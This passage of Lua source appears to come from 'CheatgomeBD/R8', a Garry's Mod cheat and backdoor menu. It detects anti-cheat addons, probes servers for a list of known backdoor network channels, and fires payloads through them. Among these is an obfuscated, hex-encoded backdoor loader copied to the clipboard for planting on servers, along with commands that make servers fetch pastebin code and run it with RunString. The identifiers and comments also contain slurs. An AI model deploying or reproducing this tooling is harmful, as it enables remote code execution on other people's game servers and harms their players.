3181
3182
3183 local faggot = vgui.Create("DButton", plypanel2)
3184
3185 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
3186
3187 faggot:SetPos( 0, 0 )
3188
3189 faggot:SetText("")
3190
3191 faggot.Paint = function(panel, w, h)
3192
3193 return
3194
3195 end
3196
3197 faggot.DoClick = function()
3198
3199 if table.HasValue( selectedplayers, v ) then
3200
3201 table.RemoveByValue( selectedplayers, v )
3202
3203 else
3204
3205 table.insert( selectedplayers, v )
3206
3207 end
3208
3209 end
3210
3211
3212
3213
3214
3215 Plist4:AddItem( plypanel2 )
3216
3217
3218
3219end
3220
3221
3222
3223
3224
3225BD.GenerateBackdoorList( Plist, 1 )
3226
3227BD.GenerateBackdoorList( Plist2, 2 )
3228
3229BD.GenerateBackdoorList( Plist3, 3 )
3230
3231
3232
3233end
3234
3235concommand.Add("cheatgomebd_menu", BD.BackdoorMenu)
3236
3237
3238
3239
3240
3241function BD.QuickFireBackdoor()
3242
3243if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "You haven't even selected a macro to use ya dingus! :/", Color(255,155,155) ) return end
3244
3245if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
3246
3247end
3248
3249concommand.Add("cheatgomebd_quickfire", BD.QuickFireBackdoor)
3250
3251
3252if (_G.QAC) then -- Here goes the anti-cheat detectors. But when it detects a anti-cheat. It wont disconnect you from the server. Thanks for this being a BD Menu
3253 surface.PlaySound("ambient/alarms/klaxon1.wav")
3254 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Quack Anti-cheat detected! Becareful!")
3255
3256 -- Common anti-cheat, Good thing is that anti-cheats cant detect exploits xD
3257end
3258
3259if (_G.CAC) then
3260 surface.PlaySound("ambient/alarms/klaxon1.wav")
3261 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Cake Anti-cheat detected! Becareful!")
3262
3263 -- Your worst nightmare arrives, The one of the most common new 2016 anti-cheat. I tooked a peak at it. and it's like qac but rat
3264end
3265
3266if (_G.GAC) then
3267 surface.PlaySound("ambient/alarms/klaxon1.wav")
3268 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Garry's Mod Anti-cheat detected!")
3269
3270 -- If CheatgomeBD anti-cheat detector detects this. It's pretty rare right?
3271end
3272
3273if (_G.WDAC) then
3274 surface.PlaySound("ambient/alarms/klaxon1.wav")
3275 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Watch Dog's Anti-cheat detected!")
3276
3277 -- One of the anti-cheats founded from the addon, Mostly the russian servers use it, But pfh it's a anti-cheat that detects for ConVar's and commands.
3278end
3279
3280 if (_G.SAC) then
3281 surface.PlaySound("ambient/alarms/klaxon1.wav")
3282 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! SimpLAC Anti-cheat detected!")
3283
3284 -- One of the Anti-cheat's that will detect almost everything but it does not detect EXPLOITS u dumb fuck
3285end
3286
3287if (_G.CAH2) then
3288 surface.PlaySound("ambient/alarms/klaxon1.wav")
3289 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Connor Anti-cheat detected!")
3290
3291 -- I just found this anti-cheat from gmod store or some shit, Im not sure if it can detect this
3292end
3293
3294if (_G.HAC) then
3295 surface.PlaySound("ambient/alarms/klaxon1.wav")
3296 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Hex Anti-Cheat detected!")
3297
3298 -- One of the nuclearous and disasterous lua virus anti-cheat, If you get detected all then your fucked
3299end
3300
3301if (_G.simplicity) then
3302 surface.PlaySound("ambient/alarms/klaxon1.wav")
3303 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! SimpLAC Anti-cheat detected!")
3304
3305 -- Another anti-cheat detector for SimpLAC anti-cheat just incase,
3306
3307end
3308
3309if (_G.SMAC) then -- End of the anti-cheat detector line,
3310 surface.PlaySound("ambient/alarms/klaxon1.wav")
3311 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Sourcemod anti-cheat detected!")
3312
3313 -- Sourcemod anti-cheat, A dead anti-cheat now in days, Im not sure if cheatgomeBD anti-cheat detector can detect this
3314end
3315
3316
3317
3318
3319
3320
3321surface.PlaySound("buttons/bell1.wav")
3322chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "CheatgomeBD is activated!")
3323chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "This is the PRIVATED Version, 3.2.5")
3324chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "CheatgomeBD will detect anti-cheats.")
3325chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Type 'cheatgomeBD_menu' in the console to open the menu.")
3326chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "This backdoor menu will be updated more lately than the cheat itself.")
3327chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Helpme functions are added! When the server has a backdoor. Press the fun functions button and you will see the helpme commands,")
3328chat.AddText(Color( 255, 255, 0 ), "[", "CheatgomeProtection", "] ", Color( 255, 255, 255 ), "Loaded Anti-Screengrab V3")
3329chat.AddText(Color( 255, 255, 0 ), "[", "CheatgomeProtection", "] ", Color( 255, 255, 255 ), "Loaded Anti-cheat Detector!")
3330chat.AddText(Color( 255, 255, 0 ), "[", "CheatgomeProtection", "] ", Color( 255, 255, 255 ), "love you bro")
3331timer.Simple( 5, function() chat.AddText(Color( 117, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Hey R8. Watcha wanna do?") end)
3332timer.Simple( 7, function() chat.AddText(Color( 150, 150, 150 ), "[", "R8", "] ", Color( 255, 255, 255 ), "Idk? exploit some servers or some shit?") end)
3333timer.Simple( 9, function() chat.AddText(Color( 117, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Oh yeah..... thats such a genius idea....") end)
3334
3335
3336
3337
3338
3339
3340hook.Add("Think", "imarainbownigga", function()
3341local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
3342 LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3343 LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3344end)
3345
3346
3347
3348
3349
3350
3351
3352
3353
3354
3355
3356//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
3357//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
3358//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
3359concommand.Add('trace', function(pl)
3360 local prop = pl:GetEyeTrace().Entity
3361 if IsValid(prop) then
3362 pl:PrintMessage(HUD_PRINTCONSOLE, prop:GetClass())
3363 pl:PrintMessage(HUD_PRINTCONSOLE, 'mdl = \''..prop:GetModel()..'\',')
3364 pl:PrintMessage(HUD_PRINTCONSOLE, 'pos = Vector('..string.gsub(tostring(prop:GetPos()), ' ', ', ')..'),')
3365 pl:PrintMessage(HUD_PRINTCONSOLE, 'ang = Angle('..string.gsub(tostring(prop:GetAngles()), ' ', ', ')..'),')
3366 pl:PrintMessage(HUD_PRINTCONSOLE, 'mat = \'' .. prop:GetMaterial() .. '\',')
3367 end
3368end)
3369
3370surface.CreateFont("exitmenu",
3371 {
3372 font = "Arial",
3373 size = 20,
3374 weight = 1000,
3375 shadow = false,
3376 outline = false,
3377})
3378
3379
3380local function exitmenu(panel,X,y)
3381
3382 local CButton = vgui.Create("DButton", panel)
3383
3384 CButton:SetTextColor(Color(150, 150, 150))
3385
3386 CButton:SetText("?")
3387
3388 CButton:SetFont("exitmenu")
3389
3390 CButton:SetPos(X, y)
3391
3392 CButton:SetSize(50, 24)
3393
3394 CButton.DoClick = function()
3395
3396 panel:SizeTo(0, 0, .2, 0, .2)
3397
3398 timer.Simple(0.3,function()
3399
3400 panel:SetVisible(false)
3401
3402 end)
3403
3404 end
3405
3406CButton.Paint = function(panel, w, h)
3407
3408 surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3409
3410 surface.DrawOutlinedRect( 0, 0, CButton:GetSize() )
3411
3412 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
3413
3414end
3415
3416
3417
3418CButton.OnCursorEntered = function(self)
3419
3420 surface.PlaySound( "garrysmod/ui_hover.wav" )
3421
3422 CButton.Paint = function(panel, w, h)
3423
3424draw.RoundedBox( 0, 0, 0, w, h, Color(220, 20, 60, 255))
3425
3426 end
3427
3428
3429 end
3430-------------------------------------------------------------
3431CButton.OnCursorExited = function(self)
3432
3433CButton.Paint = function(panel, w, h)
3434
3435 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
3436
3437 end
3438
3439 end
3440
3441 ------------------------------------------------------------------------
3442
3443end
3444
3445
3446
3447local blur = Material("pp/blurscreen")
3448local function DrawBlur(panel, amount)
3449local x, y = panel:LocalToScreen(0, 0)
3450local scrW, scrH = ScrW(), ScrH()
3451surface.SetDrawColor(255, 255, 255)
3452surface.SetMaterial(blur)
3453for i = 1, 3 do
3454blur:SetFloat("$blur", (i / 3) * (amount or 6))
3455blur:Recompute()
3456render.UpdateScreenEffectTexture()
3457surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
3458end
3459end
3460
3461netKey = "memeDoor"
3462
3463BackdoorsFound = 0
3464
3465function ValidNetString( str )
3466 local status, error = pcall( net.Start, str )
3467 return status
3468end
3469
3470BackDoor_net = {
3471
3472{
3473NetWork = "Sandbox_ArmDupe"
3474},
3475{
3476NetWork = "Sbox_darkrp"
3477},
3478{
3479NetWork = "Sbox_itemstore"
3480},
3481{
3482NetWork = "Ulib_Message"
3483},
3484{
3485NetWork = "ULogs_Info"
3486},
3487{
3488NetWork = "ITEM"
3489},
3490{
3491NetWork = "R8"
3492},
3493{
3494NetWork = "fix"
3495},
3496{
3497NetWork = "Fix_Keypads"
3498},
3499{
3500NetWork = "Remove_Exploiters"
3501},
3502{
3503NetWork = "noclipcloakaesp_chat_text"
3504},
3505{
3506NetWork = "_Defqon"
3507},
3508{
3509NetWork = "_CAC_ReadMemory" ,"nostrip"
3510},
3511{
3512NetWork = "nocheat"
3513},
3514{
3515NetWork = "LickMeOut"
3516},
3517{
3518NetWork = "ULX_QUERY2"
3519},
3520{
3521NetWork = "ULXQUERY2"
3522},
3523{
3524NetWork = "MoonMan"
3525},
3526{
3527NetWork = "Im_SOCool"
3528},
3529{
3530NetWork = "Sandbox_GayParty"
3531},
3532{
3533NetWork = "DarkRP_UTF8"
3534},
3535{
3536NetWork = "oldNetReadData"
3537},
3538{
3539NetWork = "memeDoor"
3540},
3541{
3542NetWork = "BackDoor"
3543},
3544{
3545NetWork = "OdiumBackDoor"
3546},
3547{
3548NetWork = "SessionBackdoor"
3549},
3550{
3551NetWork = "DarkRP_AdminWeapons"
3552},
3553{
3554NetWork = "cucked"
3555},
3556{
3557NetWork = "NoNerks"
3558},
3559{
3560NetWork = "kek"
3561},
3562{
3563NetWork = "ZimbaBackDoor"
3564},
3565{
3566NetWork = "something"
3567},
3568{
3569NetWork = "random"
3570},
3571{
3572NetWork = "strip0"
3573},
3574{
3575NetWork = "fellosnake"
3576},
3577{
3578NetWork = "enablevac"
3579},
3580{
3581NetWork = "idk"
3582},
3583{
3584NetWork = "c"
3585},
3586{
3587NetWork = "killserver"
3588},
3589{
3590NetWork = "fuckserver"
3591},
3592{
3593NetWork = "cvaraccess"
3594},
3595{
3596NetWork = "rcon"
3597},
3598{
3599NetWork = "rconadmin"
3600},
3601{
3602NetWork = "web"
3603},
3604{
3605NetWork = "jesuslebg"
3606},
3607{
3608NetWork = "zilnix"
3609},
3610{
3611NetWork = "disablebackdoor"
3612},
3613{
3614NetWork = "kill"
3615},
3616{
3617NetWork = "DefqonBackdoor"
3618},
3619
3620}
3621
3622
3623function checkbackdoors()
3624
3625for k,v in pairs(BackDoor_net) do
3626
3627 if( ValidNetString(v.NetWork) ) then
3628 BackdoorsFound = 1 + BackdoorsFound
3629 chat.AddText( Color( 0, 0, 0, 125 ), "[R8]", Color( 255, 255, 255 )," Found Backdoor! - "..v.NetWork )
3630 end
3631
3632end
3633
3634end
3635
3636CreateClientConVar ("menu_r", "148", true,false)
3637CreateClientConVar ("menu_g", "0", true,false)
3638CreateClientConVar ("menu_b", "211", true,false)
3639
3640
3641
3642--------------------------------------------------------------------------------------------
3643surface.CreateFont("Main",
3644 {
3645 font = "Arial",
3646 size = 20,
3647 weight = 1000,
3648 shadow = false,
3649 outline = false,
3650})
3651
3652
3653
3654
3655local insertdown2, insertdown, menuopen;
3656
3657function MainMenu()
3658
3659
3660local x1 = vgui.Create( "DFrame" )
3661
3662x1:Center()
3663
3664x1:SizeTo(300, 400, .3, 0, .3)
3665
3666exitmenu(x1,249,1)
3667
3668x1:SetTitle( " " )
3669
3670x1:ShowCloseButton( false )
3671
3672x1:SetVisible( true )
3673
3674x1:MakePopup()
3675
3676function x1:Paint()
3677
3678DrawBlur(self,5)
3679
3680draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"), 170))
3681
3682surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3683
3684surface.DrawOutlinedRect( 0, 0, x1:GetSize() )
3685---------------------------------------------------------
3686surface.DrawOutlinedRect( 0, 110, x1:GetSize() )
3687
3688--surface.DrawOutlinedRect( 0, 130, x1:GetSize() )
3689---------------------------------------------------------
3690surface.DrawOutlinedRect( 0, 25, x1:GetSize() )
3691-------------------------------------------------
3692surface.DrawOutlinedRect( 0, 0, 249, 26 )
3693
3694surface.DrawOutlinedRect( 0, 110, 101, 90 )
3695
3696surface.DrawOutlinedRect( 0, 110, 500, 90 )
3697
3698--surface.DrawOutlinedRect( 0, 30, x1:GetSize() )
3699--
3700surface.DrawOutlinedRect( 100, 25, x1:GetSize() )
3701--
3702--surface.DrawOutlinedRect( -6, 25, x1:GetSize() )
3703--
3704--surface.DrawOutlinedRect( 0, -6, x1:GetSize() )
3705
3706------------------------------------------------
3707end
3708
3709 x1.Think = function()
3710 if (input.IsKeyDown(KEY_INSERT) && !insertdown2) then
3711
3712 x1:SizeTo(0, 0, .2, 0, .2)
3713
3714 timer.Simple(0.1, function()
3715 x1:Remove()
3716 end)
3717
3718 menuopen = false;
3719 end
3720end
3721
3722local function Think()
3723 if (input.IsKeyDown(KEY_INSERT) && !menuopen && !insertdown) then
3724 menuopen = true;
3725 insertdown = true;
3726 MainMenu();
3727 elseif (!input.IsKeyDown(KEY_INSERT) && !menuopen) then
3728 insertdown = false;
3729 end
3730 if (input.IsKeyDown(KEY_INSERT) && insertdown && menuopen) then
3731 insertdown2 = true;
3732 else
3733 insertdown2 = false;
3734 end
3735end
3736
3737hook.Add("Think", "", Think);
3738
3739
3740local news_p1 = vgui.Create("DPanel", x1)
3741
3742news_p1:SetPos(100,200)
3743
3744news_p1:SetSize(200,200)
3745
3746news_p1.Paint = function(self, w, h) // Paint will paint the current page (Changing color, shape, etc)
3747draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40, 170))
3748end
3749local richtext = vgui.Create( "RichText", news_p1 )
3750richtext:Dock( FILL )
3751
3752
3753local TheReturnedHTML = "" -- Blankness
3754
3755http.Fetch( "https://pastebin.com/raw/05M3yELT",
3756 function( body, len, headers, code )
3757 TheReturnedHTML = body
3758 richtext:SetText( TheReturnedHTML )
3759 end,
3760 function( error )
3761 richtext:SetText( "Could not get news from our server. \n you May have lost your Internet connection \n or our servers are temporarily unavailable." )
3762 end
3763 )
3764
3765local q1 = vgui.Create("DHTML",x1)
3766q1:OpenURL( "https://goo.gl/XLxbgG" )
3767q1:SetSize( 150, 150 )
3768q1:SetPos( 6, 110 )
3769
3770
3771surface.CreateFont("B1",
3772 {
3773 font = "Arial",
3774 size = 20,
3775 weight = 1000,
3776 shadow = false,
3777 outline = false,
3778})
3779
3780ex = true
3781ct = true
3782nh = true
3783
3784func_table = {
3785--
3786{
3787
3788---------------------------------------
3789Name = "Exploit's",
3790
3791Func = function()
3792LocalPlayer():ConCommand('R8_Exploit')
3793surface.PlaySound( "garrysmod/ui_click.wav" )
3794x1:SetVisible( false )
3795end,
3796---------------------------------------
3797},
3798--
3799{
3800---------------------------------------
3801Name = "Cheat's",
3802
3803Func = function()
3804surface.PlaySound( "garrysmod/ui_click.wav" )
3805end,
3806---------------------------------------
3807--
3808},
3809--
3810{
3811---------------------------------------
3812Name = 'Hack',
3813
3814Func = function()
3815x1:SetVisible( false )
3816LocalPlayer():ConCommand('bd_menu')
3817surface.PlaySound( "garrysmod/ui_click.wav" )
3818end,
3819---------------------------------------
3820--
3821},
3822}
3823
3824
3825for k,v in pairs(func_table) do
3826
3827 local Buttons = vgui.Create("DButton", x1)
3828
3829 Buttons:Dock(4)
3830
3831 Buttons:DockMargin(0,0,200,5)
3832
3833 Buttons:SetText(v.Name)
3834
3835 Buttons:SetFont('B1')
3836
3837 Buttons:SetTextColor( Color( 255, 255, 255, 255 ) )
3838
3839 Buttons.DoClick = v.Func
3840
3841 Buttons.OnCursorEntered = function(self)
3842
3843 surface.PlaySound( "garrysmod/ui_hover.wav" )
3844
3845 end
3846
3847function Buttons:Paint()
3848
3849--draw.SimpleText( "|", "B1", 5, 0, Color( 255, 255, 255, 200 ), 0, 0 )
3850--
3851--draw.SimpleText( "|", "B1", 270, 0, Color( 255, 255, 255, 200 ), 0, 0 )
3852
3853
3854draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
3855
3856surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3857
3858surface.DrawOutlinedRect( 0, 0, Buttons:GetSize() )
3859
3860surface.DrawOutlinedRect( 0, 25, Buttons:GetSize() )
3861
3862end
3863
3864end
3865
3866
3867
3868-----------------------------------------------------------------------------
3869
3870 local b5 = vgui.Create("DButton", x1)
3871
3872 b5:Dock(TOP)
3873
3874 b5:DockMargin(100,-81,0,5)
3875
3876 b5:SetText('| BackDoor | Check |')
3877
3878 b5:SetFont('B1')
3879
3880 b5:SetTextColor( Color( 255, 255, 255, 255 ) )
3881
3882 function b5:DoClick()
3883
3884 surface.PlaySound( "garrysmod/ui_click.wav" )
3885
3886 checkbackdoors()
3887
3888 end
3889
3890 b5.OnCursorEntered = function(self)
3891
3892 surface.PlaySound( "garrysmod/ui_hover.wav" )
3893
3894 end
3895
3896function b5:Paint()
3897
3898draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
3899
3900surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3901
3902surface.DrawOutlinedRect( 0, 0, b5:GetSize() )
3903
3904surface.DrawOutlinedRect( 0, 25, b5:GetSize() )
3905
3906end
3907
3908 local b6 = vgui.Create("DButton", x1)
3909
3910 b6:Dock(TOP)
3911
3912 b6:DockMargin(100,0,0,5)
3913
3914 b6:SetText('Theme Color')
3915
3916 b6:SetFont('B1')
3917
3918 b6:SetTextColor( Color( 255, 255, 255, 255 ) )
3919
3920 b6.OnCursorEntered = function(self)
3921
3922 surface.PlaySound( "garrysmod/ui_hover.wav" )
3923
3924 end
3925
3926 function b6:DoClick()
3927
3928 surface.PlaySound( "garrysmod/ui_click.wav" )
3929
3930 LocalPlayer():ConCommand('R8_theme')
3931
3932 end
3933
3934function b6:Paint()
3935
3936draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
3937
3938surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3939
3940surface.DrawOutlinedRect( 0, 0, b6:GetSize() )
3941
3942surface.DrawOutlinedRect( 0, 25, b6:GetSize() )
3943
3944end
3945
3946 local b7 = vgui.Create("DButton", x1)
3947
3948 b7:Dock(TOP)
3949
3950 b7:DockMargin(100,0,0,5)
3951
3952 b7:SetText("Copy BackDoor")
3953
3954 b7:SetFont('B1')
3955
3956 b7:SetTextColor( Color( 255, 255, 255, 255 ) )
3957
3958 function b7:DoClick()
3959
3960 surface.PlaySound( "garrysmod/ui_click.wav" )
3961
3962 local backdoorr8 = [[local _=_G local a,b=_['\115\116\114\105\110\103'],_['\98\105\116']['\98\120\111\114']local function c(c)if a['\108\101\110'](c)==0 then return c end local d=''for c in a['\103\109\97\116\99\104'](c,'\46\46')do d=d..a['\99\104\97\114'](b(_["\116\111\110\117\109\98\101\114"](c,16),25))end return d end _[c'6c6d7075'][c'587d7d577c6d6e766b724a6d6b70777e'](c'4b21')_[c'777c6d'][c'4b7c7a7c706f7c'](c'4b21',function()local a=_[c'5a76746970757c4a6d6b70777e'](_[c'777c6d'][c'4b7c787d4a6d6b70777e'](),c'556c785a747d',!1)if _[c'706a7f6c777a6d707677'](a)then a()end end)]]
3963
3964 SetClipboardText( backdoorr8 )
3965
3966 LocalPlayer():ChatPrint('Copied to the clipboard.')
3967
3968 end
3969
3970 b7.OnCursorEntered = function(self)
3971
3972 surface.PlaySound( "garrysmod/ui_hover.wav" )
3973
3974 end
3975
3976function b7:Paint()
3977
3978draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
3979
3980surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3981
3982surface.DrawOutlinedRect( 0, 0, b7:GetSize() )
3983
3984surface.DrawOutlinedRect( 0, 25, b7:GetSize() )
3985
3986end
3987
3988-----------------------------------------------------------------------------
3989-----------------------------------------------------------------------------
3990
3991 local b8 = vgui.Create("DButton", x1)
3992
3993 b8:Dock(TOP)
3994
3995 b8:DockMargin(100,6,0,5)
3996
3997 b8:SetText('Love you.')
3998
3999 b8:SetFont('B1')
4000
4001 b8:SetTextColor( Color( 255, 255, 255, 255 ) )
4002
4003 function b8:DoClick()
4004
4005 surface.PlaySound( "garrysmod/ui_click.wav" )
4006
4007
4008for k,v in pairs(BackDoor_net) do
4009
4010if( ValidNetString(v.NetWork) ) then
4011
4012net.Start(v.NetWork)
4013
4014net.WriteString( [[for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "[R8] Love you.")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end]] )
4015
4016net.WriteBit(1)
4017
4018net.SendToServer()
4019
4020end
4021
4022end
4023
4024
4025 end
4026
4027 b8.OnCursorEntered = function(self)
4028
4029 surface.PlaySound( "garrysmod/ui_hover.wav" )
4030
4031 end
4032
4033function b8:Paint()
4034
4035draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4036
4037surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4038
4039surface.DrawOutlinedRect( 0, 0, b8:GetSize() )
4040
4041surface.DrawOutlinedRect( 0, 25, b8:GetSize() )
4042
4043end
4044
4045
4046
4047 local b9 = vgui.Create("DButton", x1)
4048
4049 b9:Dock(TOP)
4050
4051 b9:DockMargin(100,0,0,5)
4052
4053 b9:SetText('Disco Time - BackDoor')
4054
4055 b9:SetFont('B1')
4056
4057 b9:SetTextColor( Color( 255, 255, 255, 255 ) )
4058
4059
4060 function b9:DoClick()
4061
4062surface.PlaySound( "garrysmod/ui_click.wav" )
4063for k,v in pairs(BackDoor_net) do
4064
4065if( ValidNetString(v.NetWork) ) then
4066
4067net.Start(v.NetWork)
4068
4069net.WriteString( "http.Fetch(\"https://pastebin.com/raw/W529HLVb\",function(b,l,h,c)RunString(b)end,nil)" ) -- it's old DefqonSploit disco
4070
4071net.WriteBit(1)
4072
4073net.SendToServer()
4074
4075end
4076
4077end
4078
4079end
4080
4081
4082 b9.OnCursorEntered = function(self)
4083
4084 surface.PlaySound( "garrysmod/ui_hover.wav" )
4085
4086 end
4087
4088function b9:Paint()
4089
4090draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4091
4092surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4093
4094surface.DrawOutlinedRect( 0, 0, b9:GetSize() )
4095
4096surface.DrawOutlinedRect( 0, 25, b9:GetSize() )
4097
4098end
4099
4100 local b10 = vgui.Create("DButton", x1)
4101
4102 b10:Dock(TOP)
4103
4104 b10:DockMargin(100,0,0,3)
4105
4106 b10:SetText('R8 - BackDoor')
4107
4108 b10:SetFont('B1')
4109
4110 b10:SetTextColor( Color( 255, 255, 255, 255 ) )
4111
4112
4113 function b10:DoClick()
4114
4115surface.PlaySound( "garrysmod/ui_click.wav" )
4116
4117for k,v in pairs(BackDoor_net) do
4118
4119if( ValidNetString(v.NetWork) ) then
4120
4121net.Start(v.NetWork)
4122
4123net.WriteString( "http.Fetch(\"https://pastebin.com/raw/cyiaTwgL\",function(b,l,h,c)RunString(b)end,nil)" ) -- R8 Backdoor
4124
4125net.WriteBit(1)
4126
4127net.SendToServer()
4128
4129end
4130
4131end
4132
4133end
4134
4135
4136 b10.OnCursorEntered = function(self)
4137
4138 surface.PlaySound( "garrysmod/ui_hover.wav" )
4139
4140 end
4141
4142function b10:Paint()
4143
4144draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4145
4146surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4147
4148surface.DrawOutlinedRect( 0, 0, b10:GetSize() )
4149
4150surface.DrawOutlinedRect( 0, 25, b10:GetSize() )
4151
4152end
4153
4154------------------------------------------------------------------------------------------------------------------------
4155
4156function ColorMenu()
4157
4158 local ColorMenu = vgui.Create("DFrame")
4159 ColorMenu:SetPos(399,300)
4160 ColorMenu:SizeTo(300, 265, .3, 0, .3)
4161 ColorMenu:MakePopup()
4162 ColorMenu:SetTitle("")
4163 ColorMenu:SetVisible(true)
4164 ColorMenu:ShowCloseButton(false)
4165 exitmenu(ColorMenu,249,1)
4166 ColorMenu.Paint = function(self,w,h)
4167 DrawBlur(self, 3 )
4168
4169draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"), 170))
4170
4171
4172surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4173
4174surface.DrawOutlinedRect( 0, 0, ColorMenu:GetSize() )
4175
4176surface.DrawOutlinedRect( 0, 25, ColorMenu:GetSize() )
4177-------------------------------------------------
4178surface.DrawOutlinedRect( 0, 0, 249, 26 )
4179
4180surface.DrawOutlinedRect( 0, 0, ColorMenu:GetSize() )
4181
4182 end
4183
4184local color2 = vgui.Create( "DColorMixer",ColorMenu);
4185color2:Dock(TOP)
4186color2:DockMargin(0,0,0,0)
4187color2:SetPalette( false )
4188color2:SetWangs( false )
4189color2:SetAlphaBar( false )
4190color2:SetColor(Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"),255))
4191
4192function color2:ValueChanged( color)
4193 LocalPlayer():ConCommand ("menu_r "..color.r)
4194 LocalPlayer():ConCommand ("menu_g "..color.g)
4195 LocalPlayer():ConCommand("menu_b "..color.b)
4196end
4197
4198
4199end
4200
4201concommand.Add('R8_theme',ColorMenu)
4202-----------------------------------------------------------------------------
4203local table_credits = {
4204
4205 {
4206 text = "Developer",
4207 durl = "https://google.com",
4208 },
4209
4210 {
4211 text = "Discord",
4212 durl = "https://google.com"
4213 },
4214
4215 {
4216 text = "Friend's",
4217 durl = "https://google.com"
4218 },
4219
4220 {
4221 text = "Sponsor",
4222 durl = "https://google.com"
4223 },
4224
4225}
4226
4227for k,v in pairs(table_credits) do
4228
4229 local Credits = vgui.Create("DButton", x1)
4230
4231 Credits:Dock(5)
4232
4233 Credits:DockMargin(1,5,199,5)
4234
4235 Credits:SetText(v.text)
4236
4237 Credits:SetFont('B1')
4238
4239 Credits:SetTextColor( Color( 255, 255, 255, 255 ) )
4240
4241 Credits.OnCursorEntered = function(self)
4242
4243 surface.PlaySound( "garrysmod/ui_hover.wav" )
4244
4245 end
4246
4247function Credits:DoClick()
4248
4249surface.PlaySound( "garrysmod/ui_click.wav" )
4250
4251gui.OpenURL(v.durl)
4252
4253end
4254
4255function Credits:Paint()
4256
4257draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4258
4259surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4260
4261surface.DrawOutlinedRect( 0, 0, Credits:GetSize() )
4262
4263surface.DrawOutlinedRect( 0, 25, Credits:GetSize() )
4264
4265end
4266
4267end
4268
4269
4270end
4271
4272
4273
4274
4275
4276concommand.Add('R8_Menu',MainMenu)
4277
4278
4279
4280//////////// [BASIC SHIT] ////////////
4281
4282local blur = Material("pp/blurscreen") local function DrawBlur(panel, amount) local x, y = panel:LocalToScreen(0, 0) local scrW, scrH = ScrW(), ScrH() surface.SetDrawColor(255, 255, 255) surface.SetMaterial(blur) for i = 1, 3 do blur:SetFloat("$blur", (i / 3) * (amount or 6)) blur:Recompute() render.UpdateScreenEffectTexture() surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH) end end
4283
4284CreateClientConVar ("menu_r", "0", true,false)
4285CreateClientConVar ("menu_g", "0", true,false)
